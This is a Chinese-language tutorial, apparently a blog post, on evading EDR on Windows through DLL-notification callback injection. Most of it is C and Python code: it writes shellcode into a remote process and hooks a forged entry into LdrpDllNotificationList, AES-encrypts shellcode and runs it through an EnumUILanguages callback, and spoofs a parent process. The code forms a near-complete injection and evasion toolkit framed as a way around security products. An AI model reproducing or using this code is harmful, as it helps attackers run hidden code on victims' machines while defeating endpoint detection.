在 Windows 操作系统中,当一个 DLL(动态链接库)被加载或卸载时,系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下,通常使用LdrRegisterDllNotification
函数来注册回调函数。一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。 函数的实现与数据结构的构造代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 #include <Windows.h> #include <stdio.h> typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA { ULONG Flags; PUNICODE_STR FullDllName; PUNICODE_STR BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA; typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA { ULONG Flags; PUNICODE_STR FullDllName; PUNICODE_STR BaseDllName; PVOID DllBase; ULONG SizeOfImage; } LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA; typedef union _LDR_DLL_NOTIFICATION_DATA { LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; } LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA; typedef VOID (CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION) ( ULONG NotificationReason, PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context) ;typedef struct _LDR_DLL_NOTIFICATION_ENTRY { LIST_ENTRY List; PLDR_DLL_NOTIFICATION_FUNCTION Callback; PVOID Context; } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY; typedef NTSTATUS (NTAPI* _LdrRegisterDllNotification) ( ULONG Flags, PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction, PVOID Context, PVOID* Cookie) ;typedef NTSTATUS (NTAPI* _LdrUnregisterDllNotification) (PVOID Cookie) ;VOID MyCallback (ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context) { printf ("[MyCallback] dll loaded: %Z\n" , NotificationData->Loaded.BaseDllName); } int main () { HMODULE hNtdll = GetModuleHandleA ("NTDLL.dll" ); if (hNtdll != NULL ) { _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress (hNtdll, "LdrRegisterDllNotification" ); PVOID cookie; NTSTATUS status = pLdrRegisterDllNotification (0 , (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL , &cookie); if (status == 0 ) { printf ("[+] Successfully registered callback\n" ); } printf ("[+] Press enter to continue\n" ); getchar (); printf ("[+] Loading USER32 DLL now\n" ); LoadLibraryA ("USER32.dll" ); } }
传统进程注入四步法:
获取远程进程句柄(OpenProcess函数)
在远程进程中分配内存(VirtualAllocEx函数)
将shellcode复制到远程进程中新分配的内存页中(WriteProcessMemory函数)
在远程进程中创建线程执行shellcode(CreateRemoteThread函数)
杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。 ThreadlessInject:Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点,进而加载我们的shellcode 。(将dll入口点重定向至注入的shellcode)
注册自定义回调函数 **进程中已注册的所有回调函数都存储在LdrpDllNotificationList
(双向链表)中,并通过指向上一个和下一个回调的LIST_ENTRY
结构体链接在一起。其中每个节点代表一个 DLL 通知,每个节点包含有关 DLL 模块、通知类型(例如 DLL 加载、卸载)等信息。当一个 DLL 被加载或卸载时,系统会遍历这个链表,并调用其中的每个回调函数,以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY
类型的结构体,它包含两个成员:List
和 NotificationFunction
。其中,List
是一个 LIST_ENTRY
类型的结构体,用于将节点链接到链表中。NotificationFunction
是一个指向回调函数的指针,它指定了当 DLL 加载或卸载时要调用的函数。
完整流程解释:在当前进程中使用 LdrRegisterDllNotification
函数注册一个 DLL 通知回调函数时,这个函数会在 LdrpDllNotificationList
链表中添加一个新节点,并将其 NotificationFunction
成员设置为自定义的回调函数。当 DLL 加载或卸载时,系统会遍历这个双向链表,并调用其中的每个回调函数。**
找到链表的头部 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 VOID DummyCallback (ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context) { return ; } PLIST_ENTRY GetDllNotificationListHead () { PLIST_ENTRY head = 0 ; HMODULE hNtdll = GetModuleHandleA ("NTDLL.dll" ); if (hNtdll != NULL ) { _LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress (hNtdll, "LdrRegisterDllNotification" ); _LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress (hNtdll, "LdrUnregisterDllNotification" ); PVOID cookie; NTSTATUS status = pLdrRegisterDllNotification (0 , (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL , &cookie); if (status == 0 ) { printf ("[+] Successfully registered dummy callback\n" ); head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink; printf ("[+] Found LdrpDllNotificationList head: %p\n" , head); status = pLdrUnregisterDllNotification (cookie); if (status == 0 ) { printf ("[+] Successfully unregistered dummy callback\n" ); } } } return head; }
编写代码操纵目标进程内存执行shellcode LDR_DLL_NOTIFICATION_ENTRY
结构体,LIST_ENTRY
的属性
1 2 3 4 5 6 7 8 9 10 11 typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink ; struct _LIST_ENTRY *Blink ; } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; typedef struct _LDR_DLL_NOTIFICATION_ENTRY { LIST_ENTRY List; PLDR_DLL_NOTIFICATION_FUNCTION Callback; PVOID Context; } LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
每个_LDR_DLL_NOTIFICATION_ENTRY
条目都有一个属性 List,而 List
属性本身就是一个LIST_ENTRY
类型的结构,继续套娃,LIST_ENTRY
又有两个属性:
1.Flink (Forward Link,前向链),保存指向list中下一个entry条目的指针
2.Blink (Backward Link,后向链),保存指向list中上一个entry条目的指针
当使用LdrRegisterDllNotification
注册回调函数时,实际调用过程如下:
1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构 2.设置Callback属性 为指向我们自定义的回调函数 3.设置Context属性 为指向所提供的上下文(如果有的话) 4.设置List.Blink属性 为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目 5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性 为指向我们新创建的entry条目 6.设置List.Flink属性 为指向LdrpDllNotificationList的头部 (双向链表中的最后一个链接应始终指向列表的头部)。 7.更改LdrpDllNotificationList头 的List.Blink属性 为指向我们新创建的条目
aes加密shellcode 注意python3这里使用 Crypto
函数库有点坑,最简单的解决办法就是确保已经卸载crypto
和pycrypto
,然后安装`pycryptodome。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from Cryptodome.Cipher import AES from Cryptodome.Util.Padding import pad import base64 code = b'Hello, world!' key = b'0123456789abcdef' iv = b'0123456789abcdef' cipher = AES.new(key, AES.MODE_CBC, iv) padded_data = pad(code, AES.block_size) encrypt = cipher.encrypt(padded_data) base64_encrypt = base64.b64encode(encrypt).decode() print ('加密结果(Base64):' , base64_encrypt)
解密直接使用现有的项目
https://github.com/kokke/tiny-AES-c
解密demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include "aes.hpp" #include <windows.h> int main () { unsigned char shellcode[] = "\x9c\x0e\x92\x36\x7e" ; unsigned char key[] = "28T4BN6Z5EtPSF15" ; unsigned char iv[] = "ukGlewQtQJoYAQjU" ; struct AES_ctx ctx ; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, sizeof (shellcode)); DWORD dwOldPro = 0 ; BOOL ifExec = VirtualProtect(shellcode, sizeof (shellcode), PAGE_EXECUTE_READWRITE, &dwOldPro); EnumUILanguages((UILANGUAGE_ENUMPROC)(char *)shellcode, 0 , 0 ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 2756 ); printf ("[+] Got handle to remote process\n" );/ 在远程进程中为我们的 shellcode 分配内存 LPVOID shellcodeEx = VirtualAllocEx(hProc, 0 , sizeof (shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf ("[+] Allocated memory for shellcode in remote process: 0x%p\n" , shellcodeEx); WriteProcessMemory(hProc, shellcodeEx, shellcode, sizeof (shellcode), nullptr); printf ("[+] Shellcode has been written to remote process: 0x%p\n" , shellcodeEx); LDR_DLL_NOTIFICATION_ENTRY newEntry = {}; newEntry.Context = NULL ; newEntry.Callback = (PLDR_DLL_NOTIFICATION_FUNCTION)shellcodeEx; newEntry.List.Blink = (PLIST_ENTRY)remoteHeadAddress; BYTE* remoteHeadEntry = (BYTE*)malloc (sizeof (LDR_DLL_NOTIFICATION_ENTRY)); ReadProcessMemory(hProc, remoteHeadAddress, remoteHeadEntry, sizeof (LDR_DLL_NOTIFICATION_ENTRY), nullptr); newEntry.List.Flink = ((PLDR_DLL_NOTIFICATION_ENTRY)remoteHeadEntry)->List.Flink; LPVOID newEntryAddress = VirtualAllocEx(hProc, 0 , sizeof (LDR_DLL_NOTIFICATION_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf ("[+] Allocated memory for new entry in remote process: 0x%p\n" , newEntryAddress);WriteProcessMemory(hProc, (BYTE*)newEntryAddress, &newEntry, sizeof (LDR_DLL_NOTIFICATION_ENTRY), nullptr); printf ("[+] New Entrty has been written to remote process: 0x%p\n" , newEntryAddress);
父进程欺骗
打开父进程 :使用 OpenProcess
打开您希望设置为父进程的进程,并获取其句柄。
准备启动信息 :使用 STARTUPINFOEX
结构,设置其 lpAttributeList
指向一个包含父进程句柄的线程属性列表。
创建属性列表 :使用 InitializeProcThreadAttributeList
和 UpdateProcThreadAttribute
函数来初始化和更新这个属性列表,以指定父进程。
创建新进程 :使用 CreateProcess
函数,并传入上面准备好的启动信息,从而创建新进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <windows.h> #include <TlHelp32.h> #include <iostream> int main () { HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, 4460 ); if (parentProcessHandle == NULL ) { std ::cerr << "[-] Failed to open parent process: " << GetLastError() << std ::endl ; return 1 ; } std ::cout << "[+] Got handle to parent process\n" ; STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; memset (&si, 0 , sizeof (STARTUPINFOEXA)); si.StartupInfo.cb = sizeof (STARTUPINFOEXA); InitializeProcThreadAttributeList(NULL , 1 , 0 , &attributeSize); si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0 , attributeSize); InitializeProcThreadAttributeList(si.lpAttributeList, 1 , 0 , &attributeSize); UpdateProcThreadAttribute(si.lpAttributeList, 0 , PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof (HANDLE), NULL , NULL ); if (!CreateProcessA("C:\\Windows\\System32\\notepad.exe" , NULL , NULL , NULL , TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL , NULL , &si.StartupInfo, &pi)) { std ::cerr << "[-] CreateProcess failed: " << GetLastError() << std ::endl ; return 1 ; } std ::cout << "[+] Created new process with ID: " << pi.dwProcessId << std ::endl ; CloseHandle(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(parentProcessHandle); HeapFree(GetProcessHeap(), 0 , si.lpAttributeList); return 0 ; }
参考:
GitHub - Kudaes/EPI:通过入口点劫持实现无线程进程注入 — GitHub - Kudaes/EPI: Threadless Process Injection through entry point hijacking
玄 - 利用DLL通知回调函数注入shellcode(上) - zha0gongz1 - 博客园 (cnblogs.com)